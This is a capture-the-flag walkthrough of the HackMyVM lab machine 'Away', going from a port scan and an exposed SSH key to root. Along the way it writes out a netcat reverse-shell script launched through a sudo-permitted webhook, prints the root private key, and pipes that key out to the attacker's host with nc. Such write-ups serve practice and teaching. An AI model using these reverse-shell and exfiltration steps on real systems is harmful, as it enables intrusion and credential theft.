NOTES ABOUT Away

[ 2022-10-08 ] [ HackMyVM / Away ]

Status: Rooted
Skills: Port Scanning, OpenSSH, Sudo, webhook
Tools: nmap, nc, ssh

PORT SCANNING

$ nmap -T4 -sCSV -p- 10.0.2.20

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 f1:87:03:41:21:12:ef:80:3c:8f:07:2f:8b:3c:6e:2a (RSA)
|   256 5f:f9:ca:19:0d:74:65:2c:97:4a:36:a4:04:7c:9b:bd (ECDSA)
|_  256 39:a4:b3:38:94:c5:d2:77:07:a1:dd:b4:2f:0a:5a:44 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Site doesn\'t have a title (text/html).
|_http-server-header: nginx/1.18.0

GETTING IN

http://10.0.2.20/

Login: tula 

+--[ED25519 256]--+
|  . . =+. .o..   |
|   + +.+ . .o    |
|    = + + +  o   |
|     + B + o  o  |
|      = S o  .   |
|     = + o    .  |
|    + X o    .   |
|     O O. . . .  |
|    . E+.. . .   |
+----[SHA256]-----+

$ wget http://10.0.2.20/id_ed25519 -O id_ed25519.key

http://10.0.2.20/id_ed25519

http://10.0.2.20/id_ed25519.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIpBfnwSG2XZXFTsYR6Gg1apA+kuSgdtTkrrhhgskSJf  My passphrase is: Theclockisticking

wget http://10.0.2.20/id_ed25519.pub

SSH CONNECT

ssh tula@10.0.2.20 -i ./id_ed25519
[...]
Permissions 0644 for './id_ed25519' are too open.
[...]
tula@10.0.2.20: Permission denied (publickey).

$ chmod 0400 ./id_ed25519

$ ssh tula@10.0.2.20 -i ./id_ed25519
Enter passphrase for key './id_ed25519': Theclockisticking

tula@away:~$ cat user.txt

ELEVATING PRIVILEGES

tula@away:~$ sudo -l
Matching Defaults entries for tula on away:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tula may run the following commands on away:
    (lula) NOPASSWD: /usr/bin/webhook
tula@away:~$ sudo -u lula /usr/bin/webhook 
[webhook] 2022/10/08 19:28:40 "couldn\'t load any hooks from file"!
aborting webhook execution since the -verbose flag is set to false.
If, for some reason, you want webhook to start without the hooks, either use -verbose flag, or -nopanic
tula@away:~$

PAYLOAD: [ automated-actions-webhooks-example-shell-script ]

$ cd /tmp
$ echo '#!/bin/bash' > rs.sh
$ echo '/usr/bin/nc -e /bin/bash 10.0.2.15 80' >> ./rs.sh
$ chmod +x ./rs.sh
$ echo '[{"id": "shell","execute-command": "/tmp/rs.sh"}]' > hook
$ sudo -u lula webhook -verbose -hooks ./hook 
[...]
[webhook] 2022/10/08 19:40:01 attempting to load hooks from ./hook
[webhook] 2022/10/08 19:40:01 found 1 hook(s) in file
[webhook] 2022/10/08 19:40:01   loaded: shell
[webhook] 2022/10/08 19:40:01 serving hooks on http://0.0.0.0:9000/hooks/{id}
[...]

NOW LULA FROM REVERSE SHELL

$ find / -xdev -group lula 2>/dev/null
/home/lula
/home/lula/.bash_history
/home/lula/.bashrc
/home/lula/.bash_logout
/home/lula/.profile
/usr/bin/more

$ more /root/ro0t.txt

$ more /root/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCZsnRA543yhxJSmFw8Nc2vT6umh4rqVRA5RwgKbTm/SAAAAJB3Fxg4dxcY
OAAAAAtzc2gtZWQyNTUxOQAAACCZsnRA543yhxJSmFw8Nc2vT6umh4rqVRA5RwgKbTm/SA
AAAECDZ5NtdbnBm8jUAAdwpKe3m6amsmnVy+AS2qRite6MpZmydEDnjfKHElKYXDw1za9P
q6aHiupVEDlHCAptOb9IAAAACXJvb3RAYXdheQECAwQ=
-----END OPENSSH PRIVATE KEY-----

SEND PRIVATE ROOT KEY VIA REVERSE SHELL.

more /root/.ssh/id_ed25519 > private_root
cat private_root | nc 10.0.2.15 443

$ nc -lvnp 443 > root_private
listening on [any] 443 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.20] 36284
^C

$ chmod 0400 root_private

$ ssh root@10.0.2.20 -i root_private
root@away:~# init 0

--- Loaded 461 times ---